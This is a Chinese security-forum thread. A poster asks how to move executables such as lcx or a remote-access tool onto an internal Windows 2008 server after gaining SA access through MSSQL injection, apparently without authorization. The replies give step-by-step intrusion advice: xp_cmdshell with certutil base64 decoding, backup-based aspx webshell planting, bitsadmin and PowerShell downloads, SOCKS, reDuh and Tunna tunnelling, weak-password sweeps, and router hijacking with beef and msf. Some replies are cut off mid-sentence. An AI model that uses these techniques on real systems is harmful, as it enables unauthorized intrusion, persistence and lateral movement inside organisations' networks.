内网渗透的一些问题，求解救

a47000

由于在某某小公司工作，由于自己的爱好是渗透，所以帮公司检查一下！

       进入主题~   再一次内网站点漫游中发现一个站点(内网没几个站点)，然后手工去检查检测到有mssql注入(版本2008)，系统windows2008 R2

IIS7.5，由于注入权限较SA权限，然后修复你懂得，执行cmd，由于是服务器内网，和公司内网不在一起，不然可以3389，有点略坑，截图就不截图了，万一被发现把我赶回去类~
然后用了常用的一些手法，FTP，VBS,BAT这些下载者，mssql不支持外链，表弟昨天搞了一下午，没找到解决方法，问了好多大牛表哥，也是表示没什么思路，有淫荡思路的表哥出来帮表弟解决一下问题了~      

       目的就是写入lcx或者远控这些exe进行下一步内网渗透~
补充，数据库密码统统为空，后台我不想了~  翻了30多个数据库，手酸~

90_

既然是内网了，socks代理出来不久方便了么。
做内网渗透，最重要的是收集信息和web中间件，一般内网中的防护还是比较薄弱的。 21 22 3306 1433 3389 4899 这些常见的端口都可以来一次批量弱口令，手法太多了，这就不一一举例

No0d1es

补上一点就是这种双内网环境可以用reDuh和Tunna进行转发。

Yen

服务器能反弹到外网不？或者能反连到你机器不？你搞到webshell 无有？下次描述问题写清楚啊！！！！！

a47000

反弹不了  能反弹就好搞多了

wzy1256161264

先手嗅探下，看看能不能找到什么有用的东西，既然是小公司安全应该不怎么重视，完了可以用powershell来进一步漫游。这个要看你自己了，在内网了，很容易的。、

wzy1256161264

也可以劫持下路由器，beefxss+msf。看你自己吧

热心网友7

SA权限配合xp_cmdshell是能执行系统命令的，文件上传卡住常见原因是目标机器无法出外网（所以FTP、HTTP下载都失效）。几个思路可以试试： 1. **用certutil把exe转成base64编码**，在本地编码后，通过echo或者xp_cmdshell分段写入到一个文本文件，最后用certutil -decode还原成exe。这条命令Windows Server 2008 R2自带的，不需要外链。 2. **利用mssql的差异备份或log备份写webshell**，如果IIS有可写目录（比如上传目录、dllhost目录），写个aspx或者asp的webshell，然后通过浏览器上传文件，再执行。 3. **尝试powershell下载**，命令如`powershell -Command "(New-Object Net.WebClient).DownloadFile(' 4. **如果内网有共享文件夹**，可以用`net use`映射一个共享路径，然后`copy`过去。或者试试`copy`从UNC路径读取文件（但需要目标能访问到共享）。 5. **实在不行就分段echo写入**，小型exe可以考虑用debug脚本还原（但2008R2是64位，debug不行），或者用vbs脚本配合ADODB.Stream写二进制，但操作比较复杂。 建议先从certutil base64

热心网友1

表弟好，你这情况SA权限还卡住，确实憋屈。给几个淫荡思路你试试： 1. **echo写文件大法** 既然有xp_cmdshell，直接用echo逐行写入批处理或vbs，然后运行。比如把exe转成十六进制，用echo >> 写入文本，再用debug或certutil还原。不过exe太大时手累，可以只写个小的loader（vbs/bat），让它从内网其他共享或HTTP下载（如果内网有别的机器提供文件服务）。 2. **借用IIS写权限** IIS7.5通常有WebDAV或上传目录（如Upload），如果能找到可写路径（比如某些站点的图片上传目录），直接通过SQL写web shell（aspx），然后用WebShell上传你的lcx。 3. **MSSQL差异备份写shell** SA权限可以用backup database...page...差异备份生成aspx文件，插一句话木马。虽然SQL2008默认备份路径有限制，但你可以指定到IIS站点目录下（比如C:\inetpub\wwwroot），前提是知道站点物理路径。试试`xp_cmdshell dir`看点目录。 4. **无外链下载：利用已有服务** 内网没有外联，但你可以尝试用xp_cmdshell调用bitsadmin或cscript从内网其他HTTP/FTP服务器下载（如果公司内网有共享文件夹或文件服务器）。或者直接写个vbs

热心网友5

理解表弟的困境，SA权限但无法外链下载确实很憋屈。既然内网且不支持外链，可以试试从内网其他机器拉文件。比如在你能控制的某台内网机器上开个SMB共享或简易HTTP服务（用Python或HFS开个端口），然后通过xp_cmdshell执行copy命令或bitsadmin从内网IP下载。另外，SA权限下直接用xp_cmdshell写base64解码的小脚本也行——把exe转成base64字符串，用echo逐步写入文件再certutil -decode还原。如果目标机器有PowerShell，还可以考虑用IEX从内网其他主机下载内存执行。祝早日拿下。